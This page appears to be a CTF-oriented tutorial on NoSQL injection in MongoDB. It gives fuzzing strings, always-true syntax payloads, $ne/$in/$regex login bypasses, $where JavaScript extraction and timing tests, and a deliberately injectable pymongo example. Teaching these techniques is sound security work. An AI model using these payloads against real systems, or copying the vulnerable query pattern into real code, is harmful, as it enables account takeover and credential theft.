Skip to main content
CTF Support
Toggle Dark/Light/Auto mode Toggle Dark/Light/Auto mode Toggle Dark/Light/Auto mode Back to homepage

NoSQL Injection

Introduction

NoSQL databases like MongoDB rely heavily on JSON objects, which can be manipulated by attackers if input is not sanitized.

If exploited, NoSQL Injection can allow attackers to:

  • Bypass authentication or authorization checks.
  • Extract or modify data from collections.
  • Perform denial‑of‑service actions with heavy queries.
  • Execute JavaScript on the database server (via $where or mapReduce() in MongoDB).

Types of NoSQL Injection

Type Description
Syntax Injection Breaks the query syntax to inject arbitrary logic. Similar to SQLi but varies between databases and query languages.
Operator Injection Abuses built‑in query operators ($ne, $in, $regex, $where) to override or manipulate query conditions.

Most attacks target MongoDB, but the same principles apply to CouchDB, Redis, and other JSON‑based stores.

Detecting Vulnerabilities

Try fuzzing each user‑controlled input with special characters to determine whether the application parses them within queries.

Example payload (for URL parameter):

?param='%22%60%7b%0d%0a%3b%24Foo%7d%0d%0a%24Foo%20%5cxYZ%00

Differences in server responses, errors, filtered output, or longer load time, suggest NoSQL parser interaction.

Character Testing

Inject individual characters such as ', ", \, ;, {, } to see which break the query string.

Conditional Behavior Testing

Send boolean variants:

?param=test'+%26%26+0+%26%26+'x

?param=test'+%26%26+1+%26%26+'x

Different responses confirm code evaluation.

Syntax Injection Exploitation

Once control is confirmed, override existing conditions with always‑true statements:

?param=test'||1||'

This becomes:

this.param == 'fizzy' || '1'=='1'

You can also append a null byte (%00) to truncate remaining query parts:

?param=test'%00

Operator Injection Examples

For JSON requests:

{"username":{"$ne":"invalid"},"password":{"$ne":"invalid"}}

Logs in as the first user (often admin).

Target a specific user:

{"username":{"$in":["admin","administrator"]},"password":{"$ne":""}}

Use $regex to extract data:

{"username":"admin","password":{"$regex":"^a"}}

Data Extraction via Operators and JavaScript

If $where or mapReduce() is supported, execute JavaScript within queries:

{"$where":"this.password[0] == 'a'"}

Iterate characters to rebuild credentials.

Check for digits using regex:

{"$where":"this.password.match(/\\d/)"}

Blind extraction with $regex:

{"password":{"$regex":"^a.*"}}

Timing‑based test:

{"$where":"sleep(5000)"}

Example (Python)

from pymongo import MongoClient

def get_user(username):
    client = MongoClient('mongodb://localhost:27017/')
    db = client['users']
    query = {'username': username}
    return db.users.find(query)

username = input('Enter a username: ')
print(list(get_user(username)))

Injection:

{"$ne": null}

Resulting query:

{ "username": {"$ne": null} }

This bypasses user filtering and returns all results.

Example: Bypassing Login Using $ne

POST /login HTTP/1.1
Host: target.ctf
Content-Type: application/json

{
  "username":{"$ne":""},
  "password":{"$ne":""}
}

If both fields parse operators, the query becomes:

db.users.find({ "username": { $ne: "" }, "password": { $ne: "" } })

and logs you in as the first user (often admin).

Tips

  • Input contexts to test: query filters, $where clauses, $regex, $gt/$lt.
  • Use JSON-oriented payloads ({"$ne": null} or {"$gt": ""}).
  • Escape or validate JSON structures before execution.
  • In blind challenges, look for time-based payloads using heavy operations.